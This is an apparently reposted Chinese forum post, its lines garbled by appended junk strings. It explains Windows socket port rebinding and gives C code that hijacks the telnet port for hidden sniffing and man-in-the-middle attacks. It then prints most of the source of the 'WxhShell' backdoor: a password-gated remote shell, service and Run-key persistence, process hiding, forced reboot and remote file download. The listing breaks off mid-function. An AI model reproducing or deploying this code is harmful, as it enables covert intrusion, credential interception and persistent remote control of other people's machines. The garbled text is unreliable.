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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w02t9vz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vlx\hJ<I  
"Tc[1{eI  
  saddr.sin_family = AF_INET; W=zp:6Z~  
dY'>'1>P 9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }(v <f*7=n  
S'(Hl}h!.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @+(a{%~7y  
:AM_C^j~ D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $S2kc$'F  
GdtR  /1  
  这意味着什么?意味着可以进行如下的攻击: ErY-`8U"  
f$]ttU U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :B1a2Y^"  
0=c:O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2hF j+Ay  
/V f L(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }W$}blbp  
xT;j_'9U;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .R{+Pz D  
Aj "SSX!L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 15wwu} X  
x qLIs:*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uoe>T:  
T[]kun  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vH/ Y]Am  
O*-sSf   
  #include ^=Egf?|[  
  #include  :IX_}|  
  #include  cvO;xR  
  #include    <G#z;]N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V|G[j\]E<  
  int main() 6uubkt  
  { gfm aO ]  
  WORD wVersionRequested; b@yFqgJ_  
  DWORD ret; 4!0nM|~  
  WSADATA wsaData; q.69<Rs  
  BOOL val; ?&se]\  
  SOCKADDR_IN saddr; kq=tL@W`0}  
  SOCKADDR_IN scaddr; ff<ad l-  
  int err; O>sE~~g]?  
  SOCKET s;  9Li.B1j  
  SOCKET sc; _~_6qTv-d  
  int caddsize; WDQw)EUl&  
  HANDLE mt; iBPx97a  
  DWORD tid;   dxF/]>t  
  wVersionRequested = MAKEWORD( 2, 2 ); I<L<xwh1(E  
  err = WSAStartup( wVersionRequested, &wsaData ); uc-Go 6W  
  if ( err != 0 ) { n9r3CLb[  
  printf("error!WSAStartup failed!\n"); wVY;)1?  
  return -1; aFVd}RO0  
  } ~AG."<}  
  saddr.sin_family = AF_INET; u@$pOLI  
   )0xEI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TM?7F2  
E?3$ *t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TM1J1GU  
  saddr.sin_port = htons(23); P'q . _U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `8N],X  
  { *'h vYl/?>  
  printf("error!socket failed!\n"); nO7#m~  
  return -1; Rhil]|a/  
  } NJTC+`Hm  
  val = TRUE; dI|`"jl#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vV+>JM6<K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'ktWKW$ D  
  { (y{nD~k  
  printf("error!setsockopt failed!\n"); >m&r,z  
  return -1; L}5IX)#gH  
  } ht@s!5\LK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'c|Y*2@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6mbHfL>cO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 um$K^  
0A>Fl*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7+^4v(s  
  { b1`(f"&l  
  ret=GetLastError(); 4<QS ot  
  printf("error!bind failed!\n"); lg!{?xM  
  return -1; Pw_[{LL  
  } #3o]Qo[Sc  
  listen(s,2); 13:0%IO  
  while(1) 1F_ 1bAh$  
  { zPT!Fa`  
  caddsize = sizeof(scaddr); %xWscA%^u  
  //接受连接请求 L?( % *  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IRW%*W#  
  if(sc!=INVALID_SOCKET) J((.zLvz  
  { 8{Id+Q>Vo,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sk 10"DB/  
  if(mt==NULL) B[rxV  
  {  >o"3:/3  
  printf("Thread Creat Failed!\n"); (G:K?o)  
  break; 8FY/57.W  
  } OY/sCx+c  
  } @43o4,  
  CloseHandle(mt); >f*[U/{ K  
  } [F< Tl =  
  closesocket(s); c(<,qWH  
  WSACleanup(); HN*w(bROr  
  return 0; dQ4K^u  
  }    ^"d!(npw  
  DWORD WINAPI ClientThread(LPVOID lpParam) v|v^(P,o  
  { JV#)?/a$z  
  SOCKET ss = (SOCKET)lpParam; 044*@a5f  
  SOCKET sc; [ZP8l'?  
  unsigned char buf[4096]; zu Jl #3YP  
  SOCKADDR_IN saddr; (SlrV8;  
  long num; gB?~!J?  
  DWORD val; { !C';^  
  DWORD ret; boR&'yX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @#%rTKD9F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p 8q9:Tz  
  saddr.sin_family = AF_INET; y`EcBf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gv,0{DVX<  
  saddr.sin_port = htons(23); ]'UO]i/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i-EFq@xl  
  { c=T^)~$$  
  printf("error!socket failed!\n"); @9QtK69  
  return -1; {A2SG#}  
  } s2@}01QPo  
  val = 100; _~`\TS8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NgnHo\)  
  { *L9s7RR  
  ret = GetLastError(); T$'GFA  
  return -1; L:y} L  
  } _r}oYs%1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )oSUhU26}  
  { f*g>~!  
  ret = GetLastError(); t?0D*!D  
  return -1; '`Smg3T!~S  
  } {t$ vsR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y^gazr"  
  { k]Y#-Q1p~  
  printf("error!socket connect failed!\n"); ul e]eRAG  
  closesocket(sc); F%Lniv/N  
  closesocket(ss); 4C ;4"6  
  return -1; _F *(" o  
  } Yp`6305f  
  while(1) w 1E}F  
  { OKp(A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sM?bUg0w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pX]*&[X?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {37DrSOa  
  num = recv(ss,buf,4096,0);  S< <xlW  
  if(num>0) .Jz$)R  
  send(sc,buf,num,0); "9 -duDg  
  else if(num==0) |Mp_qg?g  
  break; j:0VtJo~  
  num = recv(sc,buf,4096,0); =>hq0F4[;  
  if(num>0) WG;1[o&  
  send(ss,buf,num,0); j}chU'i f  
  else if(num==0) ^ZFbp@#U  
  break; ~4wbIE_r N  
  } PiZt?r?5w|  
  closesocket(ss); -0Q:0wU  
  closesocket(sc); 0:**uion  
  return 0 ; 7;C9V`  
  } hltH{4  
TD-d5P^Kek  
!b*lL#s,Y  
========================================================== Oah}7!a)  
Y]b5qguK  
下边附上一个代码,,WXhSHELL 8=7u,t  
XQ<2(}]4  
========================================================== `OnN12`  
xyx.1o e!  
#include "stdafx.h" JBa=R^k  
YizJT0$  
#include <stdio.h> 9oP8| <+  
#include <string.h> {W }.z  
#include <windows.h> %#NaM\=8v  
#include <winsock2.h> 7g5sJj  
#include <winsvc.h> +V&b<y;?>  
#include <urlmon.h> +|Q8P?YD_  
/40Z-'Bl=(  
#pragma comment (lib, "Ws2_32.lib") uG3t%CmN  
#pragma comment (lib, "urlmon.lib") A0M)*9 f  
xkOyj`IS  
#define MAX_USER   100 // 最大客户端连接数 Nora<  
#define BUF_SOCK   200 // sock buffer / MSz{ %v  
#define KEY_BUFF   255 // 输入 buffer {t[j>_MYw  
A $W,#`E  
#define REBOOT     0   // 重启 !a3cEzs3  
#define SHUTDOWN   1   // 关机 q+t*3;X.  
fk P@e3  
#define DEF_PORT   5000 // 监听端口 fL"-K  
&:8a[C2=  
#define REG_LEN     16   // 注册表键长度 [S":~3^B6  
#define SVC_LEN     80   // NT服务名长度 >E?626*  
W)V"QrFK  
// 从dll定义API [Y*p I&f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Iq_cs '  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $dci?7q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #:{PAt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B{QY-F~  
E/LR(d_  
// wxhshell配置信息 /g'F+{v  
struct WSCFG { hH{&k>  
  int ws_port;         // 监听端口 @g""*T1:$  
  char ws_passstr[REG_LEN]; // 口令 v%V$@MF  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1c,$D5#  
  char ws_regname[REG_LEN]; // 注册表键名 ,g{`M]Ov  
  char ws_svcname[REG_LEN]; // 服务名 8:-[wl/@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J}KATpHs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @y9_\mX!s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E<'3?(D9hL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /l0\SVwa>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ve7[U_"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bWwc2##7jo  
A[;R_  
};  F[115/  
;hmy7M1%  
// default Wxhshell configuration ?bQ~ +M\  
struct WSCFG wscfg={DEF_PORT, vgHMVzxj  
    "xuhuanlingzhe", +WK!}xZR  
    1, NXDdU^w7B  
    "Wxhshell", SwG:?T!"}  
    "Wxhshell", (2QFwBW]  
            "WxhShell Service", //>f#8Ho  
    "Wrsky Windows CmdShell Service", +K;(H']Z<-  
    "Please Input Your Password: ", v%= G~kF}[  
  1, .!,T> :R  
  "http://www.wrsky.com/wxhshell.exe", e0+N1kY  
  "Wxhshell.exe" (<(8(} x  
    }; MaXgy|yB1  
r3/H_Z  
// 消息定义模块 V;~W,o!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ed2QGTgR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~DhYiOSo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }!(cm;XA"  
char *msg_ws_ext="\n\rExit."; 0~R0)Q,  
char *msg_ws_end="\n\rQuit."; 5X nA.?F^  
char *msg_ws_boot="\n\rReboot..."; {G/4#r 2>  
char *msg_ws_poff="\n\rShutdown..."; _%;$y5]v  
char *msg_ws_down="\n\rSave to "; zOCru2/  
-JaC~v(0  
char *msg_ws_err="\n\rErr!"; i=.zkIjSh  
char *msg_ws_ok="\n\rOK!"; lycY1lK  
6jiVz%`=Z  
char ExeFile[MAX_PATH]; zm9>"(H  
int nUser = 0; GTNN4  
HANDLE handles[MAX_USER]; |JSj<~1ki  
int OsIsNt; L/"XIMI*Xg  
F.?^ko9d  
SERVICE_STATUS       serviceStatus; 8{@|M l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @ bPQhn#(g  
i(2s"Uww,  
// 函数声明 W7S`+Pq  
int Install(void); BE:HO^-.1  
int Uninstall(void); ; GRSe  
int DownloadFile(char *sURL, SOCKET wsh); 7\rz*  
int Boot(int flag); !BP/#  
void HideProc(void); 60*2k  
int GetOsVer(void); siZw-.  
int Wxhshell(SOCKET wsl); hoD (G X  
void TalkWithClient(void *cs); ZTVX5"#Q  
int CmdShell(SOCKET sock); a"0Xam  
int StartFromService(void); S j)&!  
int StartWxhshell(LPSTR lpCmdLine); e54wAypPOl  
ux& WN ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dG'aJQw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); weU'3nNN  
>>Z.]  
// 数据结构和表定义 xD,BlDV  
SERVICE_TABLE_ENTRY DispatchTable[] = "b8<C>wY  
{ B4r4PSB>!  
{wscfg.ws_svcname, NTServiceMain}, .v9#|d d+  
{NULL, NULL} CbVUz<  
}; ow!utAF  
xJa  
// 自我安装 PzWhB* iBR  
int Install(void) (g`G(K_  
{ d0"Hu^]  
  char svExeFile[MAX_PATH]; A/|To!R  
  HKEY key; c]v $C&FX  
  strcpy(svExeFile,ExeFile); 5(^&0c>P  
b<P9@h~:  
// 如果是win9x系统,修改注册表设为自启动 Q.>@w<[!L  
if(!OsIsNt) { B?`Gs^Y {z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O[U^{~iM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 75u/'0~5  
  RegCloseKey(key); %(MaH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6.ASLH3#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IC{\iwO/~c  
  RegCloseKey(key); U}~SY  
  return 0; Jajo!X*Wai  
    } "9jt2@<  
  } o|*ao2a  
} |,c QJ  
else { Fo=Icvo  
P hs4]!  
// 如果是NT以上系统,安装为系统服务 uPr'by  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >k"Z'9l  
if (schSCManager!=0) U$&G_&*0a  
{ @@"}i7  
  SC_HANDLE schService = CreateService ;!q _+P  
  ( }A\s`H m  
  schSCManager, qT$;ZV #  
  wscfg.ws_svcname, LuM:dJ  
  wscfg.ws_svcdisp, HQw98/-_W  
  SERVICE_ALL_ACCESS, 5I`j'j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {?!=~vp  
  SERVICE_AUTO_START, )y4bb^;z  
  SERVICE_ERROR_NORMAL, ON.C%-T-  
  svExeFile, 3gV 17a  
  NULL, wmAZ {  
  NULL, fb3(9  
  NULL, 4{=zO(>  
  NULL, 0+L:+S  
  NULL tgSl (.  
  ); it.Lh'N;T  
  if (schService!=0) UmUw>+A  
  {  S {oW  
  CloseServiceHandle(schService); B9^ @d  
  CloseServiceHandle(schSCManager);  +:k Iq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YRa{6*M  
  strcat(svExeFile,wscfg.ws_svcname); g X75zso  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HX%lL }E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iZ}Afj  
  RegCloseKey(key); ]rGZ  
  return 0; 5Iinen3>  
    } yB0xa%  
  } : 8dQ8p;  
  CloseServiceHandle(schSCManager); %Hx8%G!  
} ]CHO5'%,$  
} a9]F.Jm  
s.7\?(Lg  
return 1; r@b M3V_o  
} W^#HR  
{9:[nqX  
// 自我卸载 FcVQ_6  
int Uninstall(void) m}ZkNWH  
{ +a1Or  
  HKEY key; H3\4&q  
nwuH:6~"  
if(!OsIsNt) { HHVCw7r0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )r2$!(NQ  
  RegDeleteValue(key,wscfg.ws_regname); $/*1 9 e~  
  RegCloseKey(key); (#I$4Px{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KmS$CFsGL  
  RegDeleteValue(key,wscfg.ws_regname); [rk*4b^s  
  RegCloseKey(key); a,mG5bQ!  
  return 0; g~E N3~  
  } 7X 4/6]*  
} &CBW>*B  
} ?+Gc. lU  
else { a7$-gW"Z(,  
mV!Ia-k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F{*{f =E!B  
if (schSCManager!=0) QA|87alh  
{ o]T-7Gs4p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4`E[ WE:Q  
  if (schService!=0)  PL"u^G`  
  { V /i~IG`h/  
  if(DeleteService(schService)!=0) { T:FaD V{  
  CloseServiceHandle(schService); 9dS<^E(ZF  
  CloseServiceHandle(schSCManager); cdd6*+E  
  return 0; 3oD?e  
  } ByyvRc,v  
  CloseServiceHandle(schService); m q#8 [D  
  } *<r\:g  
  CloseServiceHandle(schSCManager); P+ ejyl,  
} hA=.${uIO  
} zXX =WH  
kXW5bR  
return 1; CE,0@%6F*  
} t =LIkwD  
!m]_tB  
// 从指定url下载文件  &<nj~BL  
int DownloadFile(char *sURL, SOCKET wsh) -Cn x!g}  
{ up_Qv#`Q  
  HRESULT hr; 2/o_,k  
char seps[]= "/"; z`]sWi F0  
char *token; QC\r|RXW  
char *file; d23;c )'  
char myURL[MAX_PATH]; .+3~ w  
char myFILE[MAX_PATH]; =Jyi9VN=&  
M=rH*w{^  
strcpy(myURL,sURL); <n4 ?wo  
  token=strtok(myURL,seps); Sb QM!Q  
  while(token!=NULL) RnV#[bM{  
  { MZIZ"b  
    file=token; jJ.isr|`  
  token=strtok(NULL,seps); ATRB9  
  } K&"ZZFd_  
0*J},#ba$  
GetCurrentDirectory(MAX_PATH,myFILE); 1&Z#$iD  
strcat(myFILE, "\\"); \9t/*%:  
strcat(myFILE, file); idzc4jR6BT  
  send(wsh,myFILE,strlen(myFILE),0); F)8M9%g5m  
send(wsh,"...",3,0); shk yN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g9~QNA  
  if(hr==S_OK) wXR7Ifrv  
return 0; "udA-;!@&  
else \wR;N/tg  
return 1; '@6O3z_{  
R6m6bsZ`  
} }[;{@Zn  
R1cOUV,y[/  
// 系统电源模块 62.)fCQ^  
int Boot(int flag) S7B\m v  
{ ntr&? H  
  HANDLE hToken; x@*RF:\}  
  TOKEN_PRIVILEGES tkp; ;9MIapfUd(  
k,,Bf-?  
  if(OsIsNt) { D[p_uDIz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0{^ 0>H0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qtR/K=^i  
    tkp.PrivilegeCount = 1; 6N\f>c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [AHoTlPZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S1I# qb  
if(flag==REBOOT) { GI5#{-)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R$m?aIN  
  return 0; %\f<N1~*  
} $V870 <  
else { Mni@@W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T`$!/BlZ  
  return 0; mXwDB)O{)  
} 50`=[l`V  
  } zI7iZ"2a  
  else { FZBdQhYF  
if(flag==REBOOT) { % `\}#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]q`'l_O  
  return 0; cj;k{ Moc  
} <Z j>}  
else { w# R0QF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GT 5J`  
  return 0; *<ILSZ  
} #O1%k;BL  
} 2{|mL`$04<  
C2;Hugm4  
return 1; Y3.^a5o  
} AfT;IG%Gt  
=/m$ayG  
// win9x进程隐藏模块 'wA4yJ<  
void HideProc(void) { Ba_.]x  
{ ]G}:cCpd+a  
" ?=$(7uc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fR&x5Ika0  
  if ( hKernel != NULL ) X1XmaO% A  
  { (zml704dI)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AA XQ+!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e_+SBN1`P&  
    FreeLibrary(hKernel); ' OXL'_Xl  
  } sl_f+h0  
OrY^?E  
return; %CV.xDE8  
} rI#,FZ  
cU_:l.b  
// 获取操作系统版本 cqG&n0zb  
int GetOsVer(void) /0YO`])"  
{ LEd@""h  
  OSVERSIONINFO winfo; T@R2H&L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Oplk*  
  GetVersionEx(&winfo); W`F?j-4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pGcijD  
  return 1; lobC G  
  else >@0U B@  
  return 0; 9jI5bi)  
} b^q%p1  
E?(:9#02  
// 客户端句柄模块 E_H.!pr  
int Wxhshell(SOCKET wsl) 3of0f{ZTj  
{ , Y^GQ`~#  
  SOCKET wsh; MZvxcr{x  
  struct sockaddr_in client; Rm[{^V.Z$  
  DWORD myID; 2*@@Bw.XA  
5H2Ugk3  
  while(nUser<MAX_USER) ]sD lZJX<M  
{ }u.I%{4  
  int nSize=sizeof(client); y_M,p?]^,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P?|>, \t  
  if(wsh==INVALID_SOCKET) return 1; ,uL}O]L  
.cK<jF@'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =`g@6S  
if(handles[nUser]==0) Zvkb=  
  closesocket(wsh); !@T5](zV  
else LMaY}m>  
  nUser++; MDauHtF,  
  } h\/T b8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `s8!zy+  
1T 8|>2m 3  
  return 0; "?>hQM1R  
} 'MQJt2QU9{  
*6wt+twH  
// 关闭 socket A5^tus/y  
void CloseIt(SOCKET wsh) E*s8 nQ"  
{ jJ3dZ<#  
closesocket(wsh); %I#[k4,N  
nUser--; rnP *}  
ExitThread(0); _ q^JjR  
} S\0?~l"}  
:+Tvq,/"  
// 客户端请求句柄 Xz!O}M{4  
void TalkWithClient(void *cs) \<%?=C'w~  
{ JgMYy,q8t  
<_#a%+5d  
  SOCKET wsh=(SOCKET)cs; }CQ)W1mO"  
  char pwd[SVC_LEN]; .$zo_~ mR  
  char cmd[KEY_BUFF]; &+")~2 +  
char chr[1]; H'?dsc  
int i,j; !Q=xIS  
^oDSU7j5,  
  while (nUser < MAX_USER) { 1q/Q@O  
)#v0.pE  
if(wscfg.ws_passstr) { A Eo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  %Krf,H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bG/[mZpRT  
  //ZeroMemory(pwd,KEY_BUFF); j7qGZ"8ak  
      i=0; N*'d]P2P`J  
  while(i<SVC_LEN) { Eb89B%L62G  
HME`7dw?  
  // 设置超时 )KKmV6>b  
  fd_set FdRead; l~ZIv   
  struct timeval TimeOut; /=g$_m@yWI  
  FD_ZERO(&FdRead); S3sxK:  
  FD_SET(wsh,&FdRead); vJsx_ i\i  
  TimeOut.tv_sec=8; a H *5(E]  
  TimeOut.tv_usec=0; 1? Im"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <CN+VXF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); - aQf( =  
Lz=GA?lk[\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j'q Iq;y  
  pwd=chr[0]; )<vuv9=k\%  
  if(chr[0]==0xd || chr[0]==0xa) { 6$ ag<  
  pwd=0; ;` ! j~  
  break; ?y2v?h"  
  } 6MmkEU z  
  i++; 5^Ps(8VbS  
    } _e$T'*q  
t{Z:N']H  
  // 如果是非法用户,关闭 socket F1NYpCR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qHE(p+]E  
} ?U(`x6\:  
?btZdnQ))S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #_'| TT>p#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '<Jqp7$dL  
1(jDBP!8  
while(1) { c63yJqiW  
!1xX)XD4y  
  ZeroMemory(cmd,KEY_BUFF); (}MN16!  
T*rx5*:o  
      // 自动支持客户端 telnet标准   2-_d~~O1N  
  j=0; 4+q3 Kw  
  while(j<KEY_BUFF) { ,7ZV;f 81  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6HRr 4NDcj  
  cmd[j]=chr[0]; ,L$, d  
  if(chr[0]==0xa || chr[0]==0xd) { Y(6p&I  
  cmd[j]=0; 9K4Jg]?  
  break; QN^AihsPi  
  } x?RYt4S  
  j++; X*e<g=  
    } v_I)eac z  
/s "Lsbe  
  // 下载文件 S(Q=2Y  
  if(strstr(cmd,"http://")) { Qb?e A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); st wxF?\NS  
  if(DownloadFile(cmd,wsh)) 1hW"#>f7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {R}Kt;L:Ut  
  else E[2xo/H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l G $s(  
  } #SqU>R  
  else { I3d!!L2ma  
_ cm^Fi5  
    switch(cmd[0]) { v-!^a_3Ui  
  Og<nnq  
  // 帮助 A_2oQ*  
  case '?': { L<Q>:U.@\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )GR4U8<>g  
    break; TcOmBKps'  
  } @y(<4kLz  
  // 安装 CC,CKb  
  case 'i': { Ms14]M[\  
    if(Install()) 4Bk9d\z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(}N*e1  
    else w=QW8q?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KYR64[1  
    break; t>JPK_b0  
    } `w EAU7m:  
  // 卸载 Z Z9D6+R  
  case 'r': { 9;R'Xo=y  
    if(Uninstall()) tWaM+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQ^}f/A  
    else >Qx :l#B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u:M)JG  
    break; bL0>ul"  
    } ^n9)rsb  
  // 显示 wxhshell 所在路径 90UZ\{">  
  case 'p': { .A apO}{  
    char svExeFile[MAX_PATH]; [(m+Ejzi%  
    strcpy(svExeFile,"\n\r"); ][1 iKT  
      strcat(svExeFile,ExeFile); <CGABlZ  
        send(wsh,svExeFile,strlen(svExeFile),0); zy'cf5k2  
    break; JXq l=/%  
    } >$G'=N:=X&  
  // 重启 B3'-:  
  case 'b': { xL$7bw5fY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c|<E~_ .w@  
    if(Boot(REBOOT)) Ft 6{g JBG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D2]i*gs  
    else { dZ `c  
    closesocket(wsh); PDkg@#&y,k  
    ExitThread(0); >*Ctp +X@  
    } [(*?  
    break; Y>Fh<"A|$  
    } 2k M;7:  
  // 关机 4x|\xg( l  
  case 'd': { \^x`GsVy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E-Y4TBZ*  
    if(Boot(SHUTDOWN)) Pzte!]B  
